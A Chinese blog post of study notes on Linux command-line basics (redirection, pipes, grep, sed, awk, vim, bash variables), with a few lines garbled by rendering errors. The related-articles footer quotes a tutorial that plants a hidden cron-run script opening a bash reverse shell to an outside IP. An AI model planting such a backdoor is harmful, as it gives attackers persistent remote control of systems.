《鸟哥的Linux私房菜-基础篇》学习笔记

news2024/11/14 10:55:42

主要用来记录学习,如果能帮助到你那最好了。

数据流重导向

  • 概念
    cat /etc/crontab /etc/vbirdsay
    标准输出:将cat的文件输出到屏幕上
    标准错误输出:无法找到文件报错

*系统会将标准输出和标注错误输出都输出到屏幕上,看着比较乱,此时可以通过数据流重导向将这两种数据分开

标准输入 stdin 代码为0, 使用<或<<
标准输出:stdout 代码为1,使用>或>>
标准错误输出:(stderr)代码为2,使用2>或2>>

或1>:以覆盖的方式将标准输出写入某个文件

或1>:以追加的方式将标准输出写入某个文件
2>:以覆盖的方式将标准错误写入某个文件
2>>:以追加的方式将标准错误写入某个文件

  • 用法
    /dev/null 垃圾桶黑洞装置
    find /home -name .bashrc 2> /dev/null. //将标准错误丢弃

Cat > catfile < ~/test.log. //test.log 写入到catfile
Cat > catfile << “eof”. //将接下来的输入写到catfile中,输入eof时结束

  • 为什么要数据流重定向?
  • 屏幕输出的信息很重要,而且我们需要将他存下来的时候;
  • 背景执行中的程序,不希望他干扰屏幕正常的输出结果时;
  • 一些系统的例行命令(例如写在/etc/crontab 中的文件)的执行结果,希望他可以存下来时;一些执行命令的可能已知错误讯息时,想以『2>/dev/null」将他丢掉时;
  • 错误讯息与正确讯息需要分别输出时。

命令执行的判断依据:;,&&,||
命令技巧:sync; sync; shutdown -h now. //关机前执行两次同步化磁盘
$?(指令回传值)

cat file1 && cat file2 若file1查看成功,继续查看file2;若file1失败,那么不执行file2
cat file1 || cat file2 与上面相反

管线命令 (pipe)

  • 背景
    某个命令输出后的数据并不是我们想要的数据格式时,可以通过管线命令去更改

  • 例子
    ls -al /etc | less
    用less查看/etc下所有文件,可以支持翻页,不会把屏幕塞满

管线后的命令必须是“管线命令”才可以,如 less,more,head;
但Ls,cp,mv等就不是“管线命令”了,因为他们不会接收stdin的数据

拮取命令Cut和grep
cut
cut -d’分隔字符’ -f fields <==用于有特定分隔字符
cut -c 字符区间 <==用于排列整齐的讯息

选项与参数:
-d :后面接分隔字符。与 -f 一起使用;
-f :依据 -d 的分隔字符将一段讯息分区成为数段,用 -f 取出第几段的意思; -c :以字符 (characters) 的单位取出固定字符区间;

echo ${PATH} | cut -d ‘:’ -f 3,5 //用:分割,取第3、5段
export | cut -c 12- //将export 输出的讯息,取得第 12 字符以后的所有字符串

grep
筛选出想要看的字符串所在那一行

排序命令sort, wc, uniq

  • sort
    cat /etc/passwd | sort //查看密码,并用第一列数据排序(默认以文字形态排序)
    cat /etc/passwd | sort -t ‘:’ -k 3 -n //以:分割,数字形态第三列进行排序

  • uniq(将重复的只展示一行)
    last | cut -d ’ ’ -f1 | sort | uniq -c //使用 last 将账号列出,仅取出账号栏,进行排序后仅取出一位,统计出现次数

  • wc
    参数
    -l :仅列出行;
    -w :仅列出多少字(英文单字);
    -m :多少字符;

  • 双重导向tee (可以将处理后的数据存储到文件中)
    last | tee last.list | cut -d " " -f1 //列出账号,数据先存储到last.list,再取第一列展示

vi和vim

  • 为什么学?
    所有的 Unix Like 系统都会内建 vi 文书编辑器。

  • 三种模式
    一般指令模式 (刚打开一个文件就是这种模式)
    编辑模式 (按下a、i、o等后的模式)
    指令列命令模式 (输入:/?后进入的模式)

  • 一般指令模式可用的按钮说明
    30j 向下30行
    ctrl+f 向下翻一页
    ctrl+b 向上翻一页
    20光标向右移动20个字符(数字+空格)
    n 光标向下移动n行

  • 搜索
    /abc 向下寻找abc这个字符串
    ?abc 向前寻找abc这个字符串

p粘贴到光标所在行的下一行
P粘贴到光标所在行的上一行
u撤销
ctrl+r重复上一次操作
.重复上一次操作(小数点)

Vim意外退出,会将本次的改动写到.filename.swp中,如果想恢复的话,按R即可恢复
[O]pen Read-Only, (E)dit anyway, ®ecover, (D)elete it, (Q)uit, (A)bort:

  • 区块选择(Visual Block) 处于一般指令模式时
    v 字符选择,光标经过的地方反白选择
    V 列选择,光标经过的列反白选择
    ctrl+v 区块选择,可以选择多行(长方形)

选择后支持 y复制,d删除,p粘贴到游标处

多文件编辑
vim file1 file2 file3
:n 编辑下一个文件 :N 编辑下一个文件 :files 列出目前这个vim的开启的所有文件

支持两个文件之间拷贝粘贴操作

多窗口功能
:sp{filename}
切换文件 ctrl+w,松开所有按键,然后在按⬆️

挑字补全功能
常用ide中,可以使用tab来补全关键字、变量名,vim也可以

ctrl+x ctrl+o 以扩展名作为语法补充,以 vim 内建的关键词,予以补齐
ctrl+x ctrl+n 透过目前正在编辑的这个『文件的内容文字』作为关键词,予以补齐

Grep的进阶选项

  • 参数
    -A n after,将后面的n行列出来
    -B n befer 将前面的n行列出来
    -n 显示行号
    -v 反向查找

  • 查找特定范围的字符
    grep -n ‘t[ae]st’ regular_express.txt //可以匹配到tast test

grep -n ‘[^g]oo’ regular_express.txt //查找带oo的行,并且oo前不能是g

grep -n ‘[^a-z]oo’ regular_express.txt //查找带oo的行,并且oo前不能是a-z

行首^ 行尾 $
grep -n ‘^the’ regular_express.txt //查找以the开头的行
grep -n ‘1’ regular_express.txt //查找以a-z开头的行
特殊用法
grep -n ‘^KaTeX parse error: Expected group after '^' at position 40: …查找空白行 grep -v '^̲’ /etc/rsyslog.conf | grep -v ‘^#’ //筛选出不要空白行,且不以#开头

通配符
. (小数点):代表『一定有一个任意字符』的意思;
* (星星号):代表『重复前一个字符, 0 到无穷多次』的意思,为组合形态

grep -n ‘g…d’ regular_express.txt //在文件中查找以g开头以d结尾长度为4的字符串所在行

grep -n ‘g*g’ regular_express.txt //只要该行中有一个g即可匹配
grep -n ‘g.*g’ regular_express.txt //该行中有两个g即可匹配

限定连续 RE 字符范围 {}
grep -n ‘go{2,5}g’ regular_express.txt //匹配gg之间有2-5个o的字符串

sed
Sed -nefr “执行动作”。//命令格式

参数
-n 只展示sed处理后的那写行
-e :直接在指令列模式上进行 sed 的动作编辑;
-f :直接将 sed 的动作写在一个文件内
-r :sed 的动作支持的是延伸型正规表示法的语法。(预设是基础正规表示法语法)
-i :直接修改读取的文件内容,而不是由屏幕输出。 (慎用!!!)

动作说明: [n1[,n2]]function //一般用于选择动作的行数

a :新增, a 的后面可以接字符串,而这些字符串会在新的一行出现(目前的下一行)~
c :取代, c 的后面可以接字符串,这些字符串可以取代 n1,n2 之间的行!
d :删除,因为是删除啊,所以 d 后面通常不接任何咚咚;
i :插入, i 的后面可以接字符串,而这些字符串会在新的一行出现(目前的上一行);
p :打印,亦即将某个选择的数据印出。通常 p 会与参数 sed -n 一起运作~
s :取代,可以直接进行取代的工作哩!通常这个 s 的动作可以搭配正规表示法!

(nl:为每一个文件添加行号。)

nl /etc/passwd | sed ‘2,5d’ //删除passwd的2-5行

nl /etc/passwd | sed '2a Drink tea or …\

drink beer ?’ //加多行需要再行尾增加\

sed ‘s/要被取代的字符串/新的字符串/g’

  • 示例
    cat /etc/man_db.conf | grep ‘MAN’

MANDATORY_MANPATH

MANPATH_MAP

cat /etc/man_db.conf | grep ‘MAN’| sed ‘s/#.*$//g’ //删除掉批注之后的数据! 但是删除后会有很多空行

cat /etc/man_db.conf | grep ‘MAN’| sed ‘s/#.*KaTeX parse error: Expected group after '^' at position 14: //g' | sed '/^̲/d’ //删除批注后的数据,并删除空行

sed -i ‘s/.$/!/g’ regular_express.txt。//利用 sed 将 regular_express.txt 内每一行结尾若为 . 则换成 !

awk
使用示例 awk ‘条件类型 1{动作 1} 条件类型 2{动作 2} …’ filename
可以接文件,也可以接前一个指令的stdout

last:列出目前与过去登入系统的用户相关信息

last -n 5 | awk ‘{print $1 “\t” $3}’ //显示前五行,取出第一列和第三列的数据

NF 该行字段的数目
NR 当前处理的行数
FS 分隔符(默认空格)

运算符与go中一致 >,<,==,>=,<=,!=

cat /etc/passwd | awk ‘{FS=“:”} $3 < 10 {print $1 "\t " $3}’ //设置:为分隔符,筛选第三列小于10的行,输出第一列和第三列
[root@10 ~]# cat /etc/passwd | awk ‘{FS=“:”} $3 < 10 {print $1 "\t " $3}’
root❌0:0:root:/root:/bin/bash
bin 1
daemon 2
adm 3
lp 4
sync 5
但是第一行不会正确显示,因此需要添加参数,指定从第一行开始就以:作为分隔符

cat /etc/passwd | awk ‘BEGIN {FS=“:”} $3 < 10 {print $1 "\t " $3}’

Awk可以计算,例如将下面的表换个格式展示,并对每行求和

pay.txt

Name 1st 2nd 3th
VBird 23000 24000 25000
DMTsai 21000 20000 23000
Bird2 43000 42000 41000
在这里插入图片描述

diff命令
命令使用样式 diff [-bBi] from-file to-file
from-file/to-file 可以使用-代替(-意思为使用标准输入代替)

-b :忽略一行当中,仅有多个空白的差异(例如 “about me” 与 “about me” 视为相同
-B :忽略空白行的差异。
-i :忽略大小写的不同。



感觉不是很直观,文本文件个人更推荐使用vimdiff
在这里插入图片描述
Cmp(以字节为单位去对比)
使用格式 cmp [-l] file1 file2

参数
-l :将所有的不同点的字节处都列出来。因为 cmp 预设仅会输出第一个发现的不同点。

cmp passwd.old passwd.new
passwd.old passwd.new differ: char 106, line 4

Shell
Linux操作系统预设的shell就是bash
Bash功能
History:记录历史命令,暂时存在内存中,等注销系统后,会存于家目录的.bash_history中
Tab 命令、文件补全
alias 命令别名设定 例:alias lm=‘ls -al’
type 查询指令是否为 Bash shell 的内建命令

变量的取用 echo
例如 echo ${PATH}
变量定义和规则
例如:myname=VBird 【回车】echo m y n a m e / / 即可输出 m y n a m e 的内容 − [ ] ⚠ ® 等号两边不能有空格 − [ ] “”和’’有区别,””内可以包含特殊字符如 myname //即可输出myname的内容 - [ ] ⚠️等号两边不能有空格 - [ ] “”和’’有区别,””内可以包含特殊字符如 myname//即可输出myname的内容[]R等号两边不能有空格[]“”’’有区别,””内可以包含特殊字符如myname,‘’会按照纯文本处理
- [ ] unset 取消变量定义 unset myname

  • 例子
    name=VBird
    name=${name}yes //在name后添加yes字符串
    

环境变量

env 即可查看当前shell环境下的所有环境变量
Set 用 set 观察所有变量 (含环境变量与自定义变量)


PS1提示字符设定

  • \u :目前使用者的账号名称,如『dmtsai』;
  • \h :仅取主机名在第一个小数点之前的名字,如鸟哥主机则为『study』后面省略
  • \w :完整的工作目录名称,由根目录写起的目录名称。但家目录会以 ~ 取代;
  • $ :提示字符,如果是 root 时,提示字符为 # ,否则就是 $ 啰~
  • \t :显示时间,为 24 小时格式的『HH:MM:SS』
  • \v :BASH 的版本信息,如鸟哥的测试主机版本为 4.2.46(1)-release,仅取『4.2』显示

例:PS1='[\u@\h \w \A ##]$ ’
$(本shell的PID)
?(关于上个执行指令的回传值)

export 自定义变量转环境变量(简单理解自定义变量局势局部变量,环境变量是全局变量(可以在其他bash中读取到))
export 不加变量试,会把所有环境变量展示出来

declare 可以将环境变量改为自定义变量

Linux系统乱码、语系问题

  • locale -a 可以查看当前系统支持的所有语系
    如:
    zh_TW.big5 <==大五码的中文编码
    zu_ZA.iso88591
    zu_ZA.utf8 <==万国码的中文编码

默认语系定义在/etc/locale.conf 中(如果想要长期生效,那么该这个配置文件即可)
如果只需要短期生效,那么LANG=en_US.utf8; locale export LC_ALL=en_US.utf8; locale 即可

通常说明仅设定 LANG 或 LC_ALL 这两个变量即可
在这里插入图片描述

变量键盘读取、数组与宣告: read, array, declare
键盘读取 read

  • 使用格式 read [-pt] variable
  • 选项与参数:
    -p :后面可以接提示字符!
    -t :后面可以接等待的『秒数!』这个比较有趣~不会一直等待使用者啦!

变量键盘宣告 declare

  • 使用格式 declare [-aixr] variable
  • 选项与参数:
    -a :将后面名为 variable 的变量定义成为数组 (array) 类型
    -i :将后面名为 variable 的变量定义成为整数数字 (integer) 类型
    -x :用法与 export 一样,就是将后面的 variable 变成环境变量;
    -r :将变量设定成为 readonly 类型,该变量不可被更改内容,也不能 unset

数组类型array

  • 数组类型定义格式var[index]=content
    例:var[1]=“small min”
  • 数组变量的读取
    例:echo “ v a r [ 1 ] ”可以。 e c h o " {var[1]}”可以。 echo " var[1]可以。echo"{var}”无法读取

ulimit 与文件系统及程序的限制关系

  • 使用格式ulimit [-SHacdfltu] [配额]

-H :hard limit ,严格的设定,必定不能超过这个设定的数值;
-S :soft limit ,警告的设定,可以超过这个设定值,但是若超过则有警告讯息。
在设定上,通常 soft 会比 hard 小,举例来说,soft 可设定为 80 而 hard 设定为 100,那么你可以使用到 90 (因为没有超过 100),但介于 80~100 之间时, 系统会有警告讯息通知你!
-a :后面不接任何选项与参数,可列出所有的限制额度;
-c :当某些程序发生错误时,系统可能会将该程序在内存中的信息写成文件(除错用),
这种文件就被称为核心文件(core file)。此为限制每个核心文件的最大容量。
-d :程序可使用的最大断裂内存(segment)容量; -l :可用于锁定 (lock) 的内存量
-t :可使用的最大 CPU 时间 (单位为秒)
-u :单一用户可以使用的最大程序(process)数量。


  1. a-z ↩︎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420569.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue双向数据绑定原理

一. Vue双向数据绑定原理 Vue.js的双向绑定是通过响应式原理实现的。响应式原理就是当数据发生改变时&#xff0c;自动更新相关的视图和数据。下面是Vue.js双向绑定的详细解释和介绍&#xff1a; Vue.js通过 Object.defineProperty() 将数据对象的属性值绑定到对应的DOM元素上…

【数据结构启航!】数据结构开胃菜之顺序表

【数据结构启航&#xff01;】数据结构开胃菜之顺序表一、线性表简介二、目标三、实现1、初始化工作2、顺序表的尾插2.1、图解原理2.2、代码实现3、顺序表的尾删3.1、图解原理3.2、代码实现4、打印顺序表5、顺序表的增容6、顺序表的头插6.1、图解原理6.2、代码实现7、顺序表的头…

Javascript cookie和session

在网站中&#xff0c;http请求是无状态的&#xff0c;当我们与服务端做一次数据请求&#xff0c;请求完毕后&#xff0c;第二次数据请求服务器端仍然不知道是哪个用户&#xff0c;cookie的出现就是为了解决这个问题。 一 Session与Cookie的区别 1 相同点 它们都是用于存…

实战打靶集锦-016-lampiao

提示&#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名&#xff0c;为用户增加了额外的安全层。 对设备更新过程进行了显著改进&#xff0c;特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题&#xff1a; 方案一&#xff1a;给应用分配随机 datacenter-id和 worker-id 如下图&#xff1a; global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引&#xff08;二&#xff09;&#xff1a;如何实现入职申请单功能&#xff1f; 在上一篇文章《用友开发者中心应用构建实践指引&#xff01;》中&#xff0c;我们完成了应聘人员信息登记的配置&#xff0c;实现了面试者提交应聘信息&#xff0c;…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字…

appium自动化测试完整项目

前言 Appium是一个开源的自动化测试框架&#xff0c;支持跨平台&#xff0c;支持多种编程语言&#xff0c;可用于原生&#xff0c;混合和移动web应用程序&#xff0c;使用webdriver驱动ios&#xff0c;android应用程序、那么为了学习app自动化测试首要任务肯定就是搭建测试开发…

数据治理的核心框架和六大思维

请点击↑关注、收藏&#xff0c;本博客免费为你获取精彩知识分享&#xff01;有惊喜哟&#xff01;&#xff01; 数据成为新的生产力&#xff0c;必将引发数据生产关系的变革&#xff0c;而数据治理体系就代表着新的生产关系。近日发布的《广东省数据要素市场化配置改革理论研…

尚融宝18-JWT令牌和测试

目录 一、访问令牌的类型 &#xff08;一&#xff09;reference token(透明令牌) &#xff08;二&#xff09;value token(自包含令牌) 二、JWT令牌 &#xff08;一&#xff09;什么是JWT令牌 &#xff08;二&#xff09;JWT令牌的组成 &#xff08;三&#xff09;JWT的…

java 25

练习一: package com.shhfg.ds;public class HelloWorld01 {public static void main(String[] args) {/* 需求&#xff1a;给你一个整数 a如果 a 是一个回文整数&#xff0c;打印true&#xff0c;否则&#xff0c;还回false。解释&#xff1a;回文数是指正序&#xff08;从左到…

kaggle竞赛-Stable Diffusion数据分析与baseline

你的目的是来预测我们生成图像的提示词 1.比赛目标 这个竞赛的目标不是从文本提示生成图像&#xff0c;而是创建一个模型&#xff0c;可以在给定生成图像的情况下预测文本提示&#xff08;你有一堆提示词&#xff0c;你预测是否该提示词参与了图像的生成&#xff09;?您将在…

百度智能云对象存储BOS批量下载文件方法

百度智能云对象存储BOS支持批量打包下载吗&#xff1f;目前对象存储BOS浏览器端不支持批量下载&#xff0c;可以使用对象存储BOS桌面或BOSCMD批量下载&#xff0c;也可以使用API/SDK调用接口循环下载。新手站长网来详细说下百度云对象存储BOS批量下载的方法&#xff1a; 目录 …

计算机网络 实验二

⭐计网实验专栏&#xff0c;欢迎订阅与关注&#xff01; ★观前提示&#xff1a;本篇内容为计算机网络实验。内容可能会不符合每个人实验的要求&#xff0c;因此以下内容建议仅做思路参考。 一、实验目的 &#xff08;1&#xff09;掌握IP地址的基本结构(网络部分与主机部分的…

计算广告(十一)

MF矩阵分解&#xff08;Matrix Factorization&#xff09;是一种常见的数学工具&#xff0c;它将一个大型矩阵分解为两个或多个较小的矩阵&#xff0c;这些较小的矩阵相乘会得到一个近似于原始矩阵的矩阵。矩阵分解在许多领域中都有广泛的应用&#xff0c;如机器学习、数据挖掘…

Win10+Anaconda+Pytorch_CPU+VsCode安装配置

一、安装Anaconda 1&#xff0c;官网下载Anaconda安装包&#xff0c;找到对应版本的python&#xff0c;我下的是Anaconda3-2020.07-Windows-x86_64.exe&#xff0c;python版本为3.8.3&#xff1b; 安装时注意这个界面时 第一个不要勾选&#xff0c;安装成功后&#xff0c;手动…

如何在企业微信中使用低代码工具?

企业微信是一款非常强大的办公应用软件&#xff0c;可以方便地进行企业内部的沟通、协作、管理等工作。虽然企业微信本身并不提供低代码工具&#xff0c;但是可以通过集成第三方的低代码工具来实现在企业微信中的使用。 例如&#xff0c;可以使用低代码平台简道云&#xff0c;…

Python3--垃圾回收机制

一、概述 Python 内部采用 引用计数法&#xff0c;为每个对象维护引用次数&#xff0c;并据此回收不在需要的垃圾对象。由于引用计数法存在重大缺陷&#xff0c;循环引用时由内存泄露风险&#xff0c;因此Python还采用 标记清除法 来回收在循环引用的垃圾对象。此外&#xff0c…